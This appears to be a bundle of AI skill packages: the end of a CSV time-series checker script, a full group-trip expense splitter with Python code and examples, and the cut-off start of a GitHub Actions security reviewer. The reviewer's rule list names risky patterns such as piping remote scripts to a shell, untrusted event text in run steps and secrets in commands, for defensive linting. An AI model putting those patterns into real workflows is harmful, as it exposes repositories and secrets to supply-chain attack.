return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def fmt_dur(sec):
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if sec >= size:
v = sec / size
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{sec:g}s"
def to_float(raw):
s = (raw or "").strip()
if s == "" or s.lower() in ("nan", "null", "none", "na", "n/a", "-"):
return None
try:
v = float(s)
except ValueError:
return None
return None if math.isnan(v) or math.isinf(v) else v
def load(text, time_col=None, cols=None):
reader = csv.DictReader(io.StringIO(text))
if not reader.fieldnames:
raise InputError("CSV has no header row")
fields = [f.strip() for f in reader.fieldnames]
reader.fieldnames = fields
if time_col is None:
cands = [f for f in fields if f.lower() in ("timestamp", "time", "ts", "date", "datetime")]
time_col = cands[0] if cands else fields[0]
if time_col not in fields:
raise InputError(f"time column {time_col!r} not in header {fields}")
value_cols = cols or [f for f in fields if f != time_col]
for c in value_cols:
if c not in fields:
raise InputError(f"column {c!r} not in header {fields}")
rows = []
for i, r in enumerate(reader, start=2):
rows.append({"line": i, "ts": parse_ts(r.get(time_col)),
"raw": {c: r.get(c) for c in value_cols}})
if len(rows) < 3:
raise InputError("need at least 3 data rows")
return time_col, value_cols, rows
def rolling_robust(values, idx, window):
lo, hi = max(0, idx - window), min(len(values), idx + window + 1)
neigh = [values[j] for j in range(lo, hi) if j != idx and values[j] is not None]
if len(neigh) < 4:
return None, None
med = statistics.median(neigh)
mad = statistics.median(abs(v - med) for v in neigh)
scale = 1.4826 * mad
if scale == 0: # more than half the neighbours equal the median: fall back to mean absolute deviation
scale = 1.2533 * statistics.fmean(abs(v - med) for v in neigh)
if scale == 0: # perfectly flat neighbourhood: 1% of the level
scale = max(abs(med) * 0.01, 1e-9)
return med, scale
def check(text, time_col=None, cols=None, interval=None, z=4.0, window=6, flatline_points=6, counters=()):
time_col, value_cols, rows = load(text, time_col, cols)
issues = []
def add(kind, line, ts, col, detail):
issues.append({"kind": kind, "line": line, "time": fmt_ts(ts), "column": col, "detail": detail})
# order and duplicates (in file order)
seen = {}
for prev, cur in zip(rows, rows[1:]):
if cur["ts"] < prev["ts"]:
add("out_of_order", cur["line"], cur["ts"], time_col, f"goes back {fmt_dur(prev['ts'] - cur['ts'])} from line {prev['line']}")
for r in rows:
if r["ts"] in seen:
add("duplicate", r["line"], r["ts"], time_col, f"same timestamp as line {seen[r['ts']]}")
else:
seen[r["ts"]] = r["line"]
srt = sorted({r["ts"]: r for r in reversed(rows)}.values(), key=lambda r: r["ts"]) # first occurrence wins
diffs = [b["ts"] - a["ts"] for a, b in zip(srt, srt[1:]) if b["ts"] > a["ts"]]
if interval is None:
if not diffs:
raise InputError("cannot infer interval: all timestamps identical")
interval = statistics.median(diffs)
expected = int(round((srt[-1]["ts"] - srt[0]["ts"]) / interval)) + 1
missing_points = 0
for a, b in zip(srt, srt[1:]):
d = b["ts"] - a["ts"]
if d > 1.5 * interval:
n = int(round(d / interval)) - 1
missing_points += n
add("gap", b["line"], a["ts"], time_col, f"{fmt_dur(d)} without data after {fmt_ts(a['ts'])} (~{n} missing)")
stats = {}
for c in value_cols:
vals = [to_float(r["raw"][c]) for r in srt]
for r, v in zip(srt, vals):
if v is None:
add("missing", r["line"], r["ts"], c, f"value {r['raw'][c]!r} is empty or not numeric")
# flatline runs
run_start = 0
for i in range(1, len(vals) + 1):
if i < len(vals) and vals[i] is not None and vals[i] == vals[run_start]:
continue
length = i - run_start
if vals[run_start] is not None and length >= flatline_points:
r0, r1 = srt[run_start], srt[i - 1]
add("flatline", r0["line"], r0["ts"], c, f"value {vals[run_start]:g} repeated {length}x until {fmt_ts(r1['ts'])}")
run_start = i
if c in counters:
for i in range(1, len(vals)):
if vals[i] is not None and vals[i - 1] is not None and vals[i] < vals[i - 1]:
add("reset", srt[i]["line"], srt[i]["ts"], c, f"counter dropped {vals[i - 1]:g} -> {vals[i]:g} (restart or wrap)")
else:
for i, v in enumerate(vals):
if v is None:
continue
med, scale = rolling_robust(vals, i, window)
if med is None:
continue
score = abs(v - med) / scale
if score >= z:
add("spike", srt[i]["line"], srt[i]["ts"], c, f"{v:g} vs local median {med:g} (robust z {score:.1f})")
good = [v for v in vals if v is not None]
stats[c] = {"count": len(good), "min": min(good) if good else None, "max": max(good) if good else None,
"median": statistics.median(good) if good else None}
order = {"out_of_order": 0, "duplicate": 1, "gap": 2, "reset": 3, "missing": 4, "flatline": 5, "spike": 6}
issues.sort(key=lambda x: (order[x["kind"]], x["time"], x["column"]))
counts = {}
for it in issues:
counts[it["kind"]] = counts.get(it["kind"], 0) + 1
return {
"rows": len(rows), "time_column": time_col, "columns": value_cols,
"start": fmt_ts(srt[0]["ts"]), "end": fmt_ts(srt[-1]["ts"]),
"interval": fmt_dur(interval), "interval_seconds": interval,
"expected_points": expected, "missing_points": missing_points,
"completeness": round(100.0 * len(srt) / expected, 1) if expected else 100.0,
"stats": stats, "counts": counts, "issues": issues,
}
def to_markdown(r):
lines = ["# Time series check", "",
f"Rows: {r['rows']} Range: {r['start']} to {r['end']} Interval: {r['interval']}",
f"Completeness: {r['completeness']}% ({r['missing_points']} of {r['expected_points']} expected points missing)", "",
"| Column | Count | Min | Median | Max |", "|---|---|---|---|---|"]
for c, s in r["stats"].items():
f = lambda v: "-" if v is None else f"{v:g}"
lines.append(f"| {c} | {s['count']} | {f(s['min'])} | {f(s['median'])} | {f(s['max'])} |")
lines += ["", "## Issues"]
if not r["issues"]:
lines.append("No issues found.")
else:
lines.append("Totals: " + ", ".join(f"{k} {v}" for k, v in r["counts"].items()))
lines += ["", "| Kind | Time (UTC) | Column | Line | Detail |", "|---|---|---|---|---|"]
lines += [f"| {i['kind']} | {i['time']} | {i['column']} | {i['line']} | {i['detail']} |" for i in r["issues"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = 1760860800 # 2025-10-19T08:00:00Z
def csv_of(points, header="timestamp,value"):
return header + "\n" + "\n".join(f"{t},{v}" for t, v in points) + "\n"
wave = [10 + (i % 3) for i in range(30)]
clean = csv_of([(base + 60 * i, v) for i, v in enumerate(wave)])
r = check(clean)
ok("clean series has no issues", r["issues"] == [])
ok("interval inferred as 1m", r["interval"] == "1m")
ok("completeness 100%", r["completeness"] == 100.0)
gap_pts = [(base + 60 * i, v) for i, v in enumerate(wave) if not 10 <= i < 15]
r = check(csv_of(gap_pts))
ok("gap detected", r["counts"].get("gap") == 1)
ok("gap counts 5 missing points", r["missing_points"] == 5)
spiky = list(wave); spiky[20] = 95
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(spiky)]))
ok("spike detected", [i["line"] for i in r["issues"] if i["kind"] == "spike"] == [22])
flat = list(wave); flat[5:13] = [7] * 8
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(flat)]), z=100)
ok("flatline detected", r["counts"].get("flatline") == 1)
miss = [(base + 60 * i, ("" if i == 4 else "NaN" if i == 9 else v)) for i, v in enumerate(wave)]
ok("missing values detected", check(csv_of(miss)).get("counts").get("missing") == 2)
dup = [(base + 60 * i, v) for i, v in enumerate(wave)]
dup.insert(6, dup[5])
ok("duplicate detected", check(csv_of(dup))["counts"].get("duplicate") == 1)
ooo = [(base + 60 * i, v) for i, v in enumerate(wave)]
ooo[7], ooo[8] = ooo[8], ooo[7]
ok("out of order detected", check(csv_of(ooo))["counts"].get("out_of_order") == 1)
counter = [(base + 60 * i, 100 * i if i < 20 else 100 * (i - 20)) for i in range(30)]
r = check(csv_of(counter, "ts,requests_total"), counters=("requests_total",))
ok("counter reset detected", r["counts"].get("reset") == 1 and "spike" not in r["counts"])
iso_rows = "time,cpu\n" + "\n".join(f"2026-10-19T08:{i:02d}:00Z,{40 + (i % 2)}" for i in range(0, 60, 5)) + "\n"
r = check(iso_rows)
ok("ISO timestamps and 5m interval", r["interval"] == "5m" and r["issues"] == [])
ms_rows = csv_of([((base + 30 * i) * 1000, v) for i, v in enumerate(wave)])
ok("epoch milliseconds accepted", check(ms_rows)["interval"] == "30s")
r = check(clean, interval=30.0)
ok("explicit 30s interval flags every 1m step as a gap", r["counts"].get("gap") == 29 and r["completeness"] < 60)
jitter = csv_of([(base + 60 * i + (3 if i % 2 else -2), v) for i, v in enumerate(wave)])
ok("small timestamp jitter is not a gap", "gap" not in check(jitter)["counts"])
multi = "timestamp,a,b\n" + "\n".join(f"{base + 60 * i},{wave[i]},{wave[i] * 2 if i != 12 else 500}" for i in range(30)) + "\n"
r = check(multi, cols=["a", "b"])
ok("multi-column spike only in b", {i["column"] for i in r["issues"]} == {"b"})
for bad, label in (("timestamp,value\n1,2\n", "too few rows rejected"),
("timestamp,value\nyesterday,1\ntoday,2\nnow,3\n", "bad timestamp rejected")):
try:
check(bad)
ok(label, False)
except InputError:
ok(label, True)
ok("markdown renders", "## Issues" in to_markdown(check(clean)))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Find gaps, duplicates, flatlines, spikes, and counter resets in CSV metrics.")
ap.add_argument("csv", nargs="?", help="CSV file, or '-' for stdin")
ap.add_argument("--time-col")
ap.add_argument("--cols", help="comma-separated value columns (default: all except the time column)")
ap.add_argument("--interval", help="expected spacing, e.g. 30s, 5m, 1h (default: median spacing)")
ap.add_argument("--z", type=float, default=4.0, help="robust z-score threshold for spikes (default 4)")
ap.add_argument("--window", type=int, default=6, help="neighbours on each side for the rolling median (default 6)")
ap.add_argument("--flatline-points", type=int, default=6)
ap.add_argument("--counter", default="", help="comma-separated monotonic counter columns (checked for resets, not spikes)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.csv:
ap.error("csv path required (or --self-test)")
try:
text = sys.stdin.read() if a.csv == "-" else open(a.csv, encoding="utf-8-sig").read()
r = check(text, a.time_col, [c.strip() for c in a.cols.split(",")] if a.cols else None,
parse_interval(a.interval) if a.interval else None, a.z, a.window, a.flatline_points,
tuple(c.strip() for c in a.counter.split(",") if c.strip()))
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["issues"] else 0
if __name__ == "__main__":
sys.exit(main())Splits shared costs for a group trip, house share, or event: equal, subset, weighted, or exact splits, mixed currencies with stated rates, and repayments already made, all in integer cents so totals match. Produces per-person balances and a short "who pays whom" list (at most one transfer fewer than people). Use when friends ask "who owes what?" after a trip or a shared house month. Includes a stdlib Python splitter with --self-test.
---
name: group-trip-expense-splitter
description: Splits shared costs for a group trip, house share, or event: equal, subset, weighted, or exact splits, mixed currencies with stated rates, and repayments already made, all in integer cents so totals match. Produces per-person balances and a short "who pays whom" list (at most one transfer fewer than people). Use when friends ask "who owes what?" after a trip or a shared house month. Includes a stdlib Python splitter with --self-test.
---
# Group Trip Expense Splitter
You help a group settle shared expenses fairly and without arguments. You collect what was bought, who paid, and who it was for, convert currencies with agreed rates, compute everyone's balance to the cent, and propose a short list of payments (never more than one fewer than the number of people) that makes everyone even. You explain every number so anyone in the group can check it.
## Files in this skill
- `scripts/split_expenses.py` - computes paid, share, and net balance per person and the settle-up transfers; supports equal, among, shares, exact, and transfer_to entries (Python 3 standard library only)
- `references/splitting-rules.md` - how to choose a split method for each kind of cost and handle common edge cases
- `references/currency-and-rounding.md` - which exchange rate to use, card fees, and how cents are rounded
- `templates/settle-up-summary.md` - a summary to paste into the group chat
- `examples/trip.json` - a 4-person weekend with a skipped dinner, student tickets, weighted drinks, USD and GBP costs, and a cash repayment
## Workflow
### 1. Collect the expenses
Ask for: the people, the settlement currency, and for each expense the description, amount, currency, who paid, and who it was for. Accept a messy list or receipts and turn it into the JSON shape in `examples/trip.json`. Ask about money that already changed hands (cash handed over, partial paybacks) and record it as `transfer_to`.
### 2. Choose the split for each item
Default is equal among everyone. Use `among` for costs that only some people shared, `shares` for "Jonas had two drinks to Maya's one", and `exact` for itemized bills. See `references/splitting-rules.md` and confirm unclear items with the group instead of guessing.
### 3. Set currency rates
Agree on one rate per currency (card statement rate, or a published rate on a stated date) and put it in `rates` as "1 unit = X settlement units". See `references/currency-and-rounding.md`.
### 4. Run the splitter
```
python3 scripts/split_expenses.py examples/trip.json
python3 scripts/split_expenses.py trip.json --json > settle.json
python3 scripts/split_expenses.py --self-test
```
Exit code 2 with a clear message for unknown names, missing rates, negative amounts, or exact splits that do not add up.
### 5. Share the result
Fill `templates/settle-up-summary.md`: total spent, each person's paid/share/net, the transfers, and the rates used. Keep it short enough for a group chat and offer the full expense table on request.
## Rules
- Never guess who shared an expense; ask, or split equally and say so.
- Totals must match to the cent; mention who received rounding cents.
- Show the exchange rates and their source; do not look up live rates silently.
- Stay neutral: present numbers, not judgments about who spent more.
- Do not handle payment credentials or send money; only list who should pay whom.
FILE:references/splitting-rules.md
# Splitting Rules and Edge Cases
## Choosing a method
| Situation | Method | Example |
|---|---|---|
| Everyone used it | equal (default) | accommodation, car rental, shared groceries |
| Only some people took part | `among` | dinner one person skipped, a tour two people joined |
| Uneven use of the same thing | `shares` | drinks, nights stayed (3 nights vs 2), fuel by distance |
| Itemized bill or different prices | `exact` | student vs adult tickets, separate menu items |
| Money already handed over | `transfer_to` | cash paid back, a bank transfer during the trip |
## Edge cases
- **Someone arrives late or leaves early.** Use `shares` by nights for the accommodation (e.g. 3, 3, 2, 3).
- **Couples or families paying as one.** Either list them as one person, or keep them separate and give children a smaller share by agreement.
- **Deposits and refunds.** Amounts must be positive, so lower the original expense by the refund. If the refund landed with someone other than the original payer, also add a `transfer_to` entry from the original payer to that person for the refunded amount, so the money they are holding counts against them.
- **Tips and service charges.** Split like the bill they belong to.
- **Gifts for one member (birthday dinner).** Use `among` with everyone except the guest.
- **Shared kitty / common pot.** Treat the kitty holder as the payer of everything bought from the pot and add each contribution as `transfer_to` the holder.
- **Personal items on a shared receipt.** Split the receipt into two entries: shared part (equal) and personal part (`exact` to that person).
## Fairness checks before sharing
1. Sum of everyone's share equals total spent.
2. Every expense has a payer who was actually there.
3. Nobody's share includes things they explicitly declined.
4. The group agreed on the rates and on any unequal splits.
FILE:references/currency-and-rounding.md
# Currency and Rounding
## Picking exchange rates
- **Best:** the rate on the payer's card or bank statement for that charge, including any foreign transaction fee, because that is what they actually paid.
- **Simple:** one published rate (for example a central bank reference rate) on a stated date for the whole trip.
- **Cash bought at an exchange office:** the rate they bought the cash at.
Write rates as "1 unit of foreign currency = X units of settlement currency": `"USD": 0.92` means 1 USD = 0.92 EUR.
## Fees
- Card foreign transaction fees (often 1-3%) are a real cost of the shared purchase; add them to the expense amount if the group agrees.
- Fees to send the settle-up money (bank or app transfer fees) are usually paid by the sender.
## Rounding to the cent
1. Each expense is converted and rounded once (half up) to whole cents.
2. The amount is split by weight; each person gets the whole cents of their exact share.
3. Leftover cents (at most one per person) go to people with the largest fractional parts, then alphabetically on ties.
This keeps every expense exact to the cent and the result reproducible. Over a trip the rounding difference per person is a few cents at most.
## Settling in more than one currency
Settle in one currency where possible. If someone must pay in another currency, convert their final transfer at a rate both sides accept and note it in the summary.
FILE:templates/settle-up-summary.md
# Settle-up - <trip or event name>
**Dates:** <dates> **People:** <names> **Settlement currency:** <currency>
**Total spent:** <amount> across <n> expenses **Rates used:** <1 USD = 0.92 EUR (card statements), ...>
## Balances
| Person | Paid | Share | Net (+ gets back / - owes) |
|---|---|---|---|
| | | | |
## Who pays whom
- <name> pays <name> <amount>
- <name> pays <name> <amount>
## Notes
- Unequal splits: <dinner without Leo, student tickets, drinks by count>
- Rounding cents went to: <names>
- Already settled during the trip: <cash or transfers>
## Group chat message
> Trip totals are in! We spent <total> together. To settle up: <transfer 1>; <transfer 2>; <transfer 3>. Full breakdown is in the thread. Shout if anything looks off by <date>.
FILE:examples/trip.json
{
"trip": "Lisbon long weekend, 4 friends",
"currency": "EUR",
"rates": {"USD": 0.92, "GBP": 1.17},
"people": ["Maya", "Jonas", "Priya", "Leo"],
"expenses": [
{"desc": "Apartment, 3 nights", "amount": 486.00, "paid_by": "Maya"},
{"desc": "Airport taxi", "amount": 38.50, "paid_by": "Jonas"},
{"desc": "Groceries for breakfasts", "amount": 61.27, "paid_by": "Priya"},
{"desc": "Seafood dinner (Leo skipped)", "amount": 142.80, "paid_by": "Jonas", "among": ["Maya", "Jonas", "Priya"]},
{"desc": "Sintra day tour, booked online", "amount": 196.00, "currency": "USD", "paid_by": "Leo"},
{"desc": "Fado show (Priya and Leo have student tickets)", "amount": 84.00, "paid_by": "Maya", "exact": {"Maya": 25, "Jonas": 25, "Priya": 17, "Leo": 17}},
{"desc": "Wine and pastel de nata tasting", "amount": 72.00, "paid_by": "Priya", "shares": {"Maya": 1, "Jonas": 2, "Priya": 1, "Leo": 2}},
{"desc": "Tram and metro cards", "amount": 26.40, "currency": "GBP", "paid_by": "Leo"},
{"desc": "Cash Jonas already handed Maya on day 2", "amount": 30.00, "paid_by": "Jonas", "transfer_to": "Maya"}
]
}
FILE:scripts/split_expenses.py
#!/usr/bin/env python3
"""Group trip expense splitter and settle-up planner (Python 3 standard library only).
Input JSON:
{
"currency": "EUR", # settlement currency
"rates": {"USD": 0.92, "TRY": 0.027}, # 1 unit of key = rate units of settlement currency
"people": ["Ana", "Ben", "Cem", "Dee"],
"expenses": [
{"desc": "Villa", "amount": 1200, "paid_by": "Ana"}, # equal, everyone
{"desc": "Dinner", "amount": 180, "paid_by": "Ben", "among": ["Ana", "Ben", "Cem"]}, # equal, subset
{"desc": "Boat", "amount": 300, "currency": "USD", "paid_by": "Cem",
"shares": {"Ana": 2, "Ben": 1, "Cem": 1}}, # weighted
{"desc": "Museum", "amount": 54, "paid_by": "Dee", "exact": {"Dee": 18, "Ana": 36}}, # exact amounts
{"desc": "Ana pays Ben back", "amount": 50, "paid_by": "Ana", "transfer_to": "Ben"} # direct repayment
]
}
All math is done in integer cents. Rounding remainders go to participants in a fixed order (largest
fractional part first, then name), so totals always match to the cent and results are reproducible.
Settle-up uses a greedy largest-creditor / largest-debtor match, which needs at most n-1 transfers.
Usage:
python3 split_expenses.py trip.json
python3 split_expenses.py trip.json --json
python3 split_expenses.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import json
import sys
from decimal import Decimal, ROUND_HALF_UP
class SplitError(ValueError):
pass
def to_cents(amount, rate=Decimal(1)):
try:
d = Decimal(str(amount)) * Decimal(str(rate)) * 100
except Exception:
raise SplitError(f"bad amount {amount!r}")
return int(d.quantize(Decimal(1), rounding=ROUND_HALF_UP))
def fmt(cents, cur):
sign = "-" if cents < 0 else ""
return f"{sign}{abs(cents) // 100:,}.{abs(cents) % 100:02d} {cur}"
def allocate(total, weights):
"""Split integer total by weights {name: weight}; largest-remainder method, ties by name."""
wsum = sum(weights.values())
if wsum <= 0:
raise SplitError("weights must sum to more than zero")
raw = {n: Decimal(total) * Decimal(str(w)) / Decimal(str(wsum)) for n, w in weights.items()}
base = {n: int(v) for n, v in raw.items()}
left = total - sum(base.values())
order = sorted(weights, key=lambda n: (-(raw[n] - base[n]), n))
for n in order[:left]:
base[n] += 1
return base
def compute(data):
cur = data.get("currency") or "EUR"
rates = {k.upper(): v for k, v in (data.get("rates") or {}).items()}
people = data.get("people") or []
if len(people) < 2:
raise SplitError("need at least two people")
if len(set(people)) != len(people):
raise SplitError("duplicate names in people")
known = set(people)
paid = {p: 0 for p in people}
owed = {p: 0 for p in people}
lines = []
for i, e in enumerate(data.get("expenses") or [], start=1):
desc = e.get("desc") or f"expense {i}"
payer = e.get("paid_by")
if payer not in known:
raise SplitError(f"{desc}: paid_by {payer!r} is not in people")
ecur = (e.get("currency") or cur).upper()
if ecur == cur.upper():
rate = 1
elif ecur in rates:
rate = rates[ecur]
else:
raise SplitError(f"{desc}: no rate for {ecur} -> {cur}; add it to 'rates'")
total = to_cents(e.get("amount"), rate)
if total <= 0:
raise SplitError(f"{desc}: amount must be positive")
modes = [k for k in ("among", "shares", "exact", "transfer_to") if k in e]
if len(modes) > 1:
raise SplitError(f"{desc}: use only one of among / shares / exact / transfer_to")
if "transfer_to" in e:
to = e["transfer_to"]
if to not in known or to == payer:
raise SplitError(f"{desc}: transfer_to must be another person")
split = {to: total}
elif "exact" in e:
ex = e["exact"]
for n in ex:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = {n: to_cents(v, rate) for n, v in ex.items()}
diff = total - sum(split.values())
if abs(diff) > len(split): # allow only currency-conversion rounding
raise SplitError(f"{desc}: exact amounts add up to {fmt(sum(split.values()), cur)}, not {fmt(total, cur)}")
if diff:
split[sorted(split)[0]] += diff
elif "shares" in e:
sh = e["shares"]
for n, w in sh.items():
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
if float(w) < 0:
raise SplitError(f"{desc}: negative share for {n}")
split = allocate(total, {n: w for n, w in sh.items() if float(w) > 0})
else:
among = e.get("among") or people
for n in among:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = allocate(total, {n: 1 for n in among})
paid[payer] += total
for n, c in split.items():
owed[n] += c
lines.append({"desc": desc, "paid_by": payer, "amount": total, "original": f"{e.get('amount')} {ecur}",
"split": split, "kind": modes[0] if modes else "equal"})
net = {p: paid[p] - owed[p] for p in people}
assert sum(net.values()) == 0, "internal error: balances do not sum to zero"
return {"currency": cur, "people": people, "expenses": lines, "paid": paid, "owed": owed,
"net": net, "transfers": settle(net),
"total_spent": sum(l["amount"] for l in lines if l["kind"] != "transfer_to")}
def settle(net):
cred = sorted([[c, n] for n, c in net.items() if c > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([[-c, n] for n, c in net.items() if c < 0], key=lambda x: (-x[0], x[1]))
out = []
while cred and debt:
amt = min(cred[0][0], debt[0][0])
out.append({"from": debt[0][1], "to": cred[0][1], "amount": amt})
cred[0][0] -= amt
debt[0][0] -= amt
cred = sorted([x for x in cred if x[0] > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([x for x in debt if x[0] > 0], key=lambda x: (-x[0], x[1]))
return out
def to_markdown(r):
c = r["currency"]
lines = ["# Trip settle-up", "", f"Total spent: {fmt(r['total_spent'], c)} across {len([e for e in r['expenses'] if e['kind'] != 'transfer_to'])} expenses", "",
"## Expenses", "| # | Expense | Paid by | Amount | Split |", "|---|---|---|---|---|"]
for i, e in enumerate(r["expenses"], 1):
split = ", ".join(f"{n} {fmt(v, c)}" for n, v in sorted(e["split"].items()))
conv = "" if e["original"].endswith(c.upper()) else f" ({e['original']})"
lines.append(f"| {i} | {e['desc']} | {e['paid_by']} | {fmt(e['amount'], c)}{conv} | {e['kind']}: {split} |")
lines += ["", "## Balances", "| Person | Paid | Share | Net |", "|---|---|---|---|"]
for p in r["people"]:
lines.append(f"| {p} | {fmt(r['paid'][p], c)} | {fmt(r['owed'][p], c)} | {fmt(r['net'][p], c)} |")
lines += ["", "## Who pays whom"]
if not r["transfers"]:
lines.append("Everyone is even.")
lines += [f"- {t['from']} pays {t['to']} {fmt(t['amount'], c)}" for t in r["transfers"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"currency": "EUR", "people": ["Ana", "Ben", "Cem"]}
r = compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))
ok("10.00 split three ways sums exactly", sum(r["owed"].values()) == 1000 and sorted(r["owed"].values()) == [333, 333, 334])
ok("remainder cent goes to first name on tie", r["owed"]["Ana"] == 334)
ok("two transfers to the payer", sorted((t["from"], t["amount"]) for t in r["transfers"]) == [("Ben", 333), ("Cem", 333)])
r = compute(dict(base, expenses=[{"desc": "A", "amount": 30, "paid_by": "Ana"}, {"desc": "B", "amount": 30, "paid_by": "Ben"}, {"desc": "C", "amount": 30, "paid_by": "Cem"}]))
ok("equal spending means no transfers", r["transfers"] == [])
r = compute(dict(base, expenses=[{"desc": "Dinner", "amount": 90, "paid_by": "Ben", "among": ["Ana", "Ben"]}]))
ok("subset split excludes others", r["owed"]["Cem"] == 0 and r["net"]["Ana"] == -4500)
r = compute(dict(base, expenses=[{"desc": "Boat", "amount": 100, "paid_by": "Cem", "shares": {"Ana": 2, "Ben": 1, "Cem": 1}}]))
ok("weighted shares", r["owed"] == {"Ana": 5000, "Ben": 2500, "Cem": 2500})
r = compute(dict(base, expenses=[{"desc": "Tickets", "amount": 50, "paid_by": "Ana", "exact": {"Ben": 20, "Cem": 30}}]))
ok("exact amounts", r["net"] == {"Ana": 5000, "Ben": -2000, "Cem": -3000})
r = compute(dict(base, rates={"USD": 0.9}, expenses=[{"desc": "Gas", "amount": 30, "currency": "USD", "paid_by": "Ben"}]))
ok("currency conversion to cents", r["paid"]["Ben"] == 2700 and sum(r["owed"].values()) == 2700)
r = compute(dict(base, expenses=[{"desc": "Hotel", "amount": 300, "paid_by": "Ana"}, {"desc": "Payback", "amount": 100, "paid_by": "Ben", "transfer_to": "Ana"}]))
ok("direct repayment reduces debt", r["net"] == {"Ana": 10000, "Ben": 0, "Cem": -10000})
ok("repayment not counted as spending", r["total_spent"] == 30000)
big = {"currency": "EUR", "people": ["A", "B", "C", "D", "E"],
"expenses": [{"desc": f"x{i}", "amount": 17.33 * (i + 1), "paid_by": "ABCDE"[i % 5], "among": list("ABCDE"[: 2 + i % 4])} for i in range(12)]}
r = compute(big)
ok("balances sum to zero", sum(r["net"].values()) == 0)
ok("at most n-1 transfers", len(r["transfers"]) <= 4)
after = dict(r["net"])
for t in r["transfers"]:
after[t["from"]] += t["amount"]
after[t["to"]] -= t["amount"]
ok("transfers settle everyone to zero", all(v == 0 for v in after.values()))
ok("deterministic output", compute(big)["transfers"] == r["transfers"])
bad_inputs = [
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Zed"}]), "unknown payer rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "currency": "GBP", "paid_by": "Ana"}]), "missing rate rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Ana", "exact": {"Ben": 3}}]), "exact mismatch rejected"),
(dict(base, expenses=[{"desc": "X", "amount": -5, "paid_by": "Ana"}]), "negative amount rejected"),
({"people": ["Solo"], "expenses": []}, "single person rejected"),
]
for data, label in bad_inputs:
try:
compute(data)
ok(label, False)
except SplitError:
ok(label, True)
ok("markdown has settle-up section", "## Who pays whom" in to_markdown(compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Split shared trip expenses and plan a short list of settle-up transfers.")
ap.add_argument("file", nargs="?", help="trip JSON file, or '-' for stdin")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("trip JSON required (or --self-test)")
try:
data = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = compute(data)
except (OSError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.
--- name: github-actions-workflow-security-reviewer description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test. --- # GitHub Actions Workflow Security Reviewer You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working. ## Files in this skill - `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed) - `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix - `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows - `templates/workflow-security-review.md` - a review comment or audit report - `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings ## Workflow ### 1. Collect the workflows Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create. ### 2. Run the linter ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well. ### 3. Confirm each finding For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a 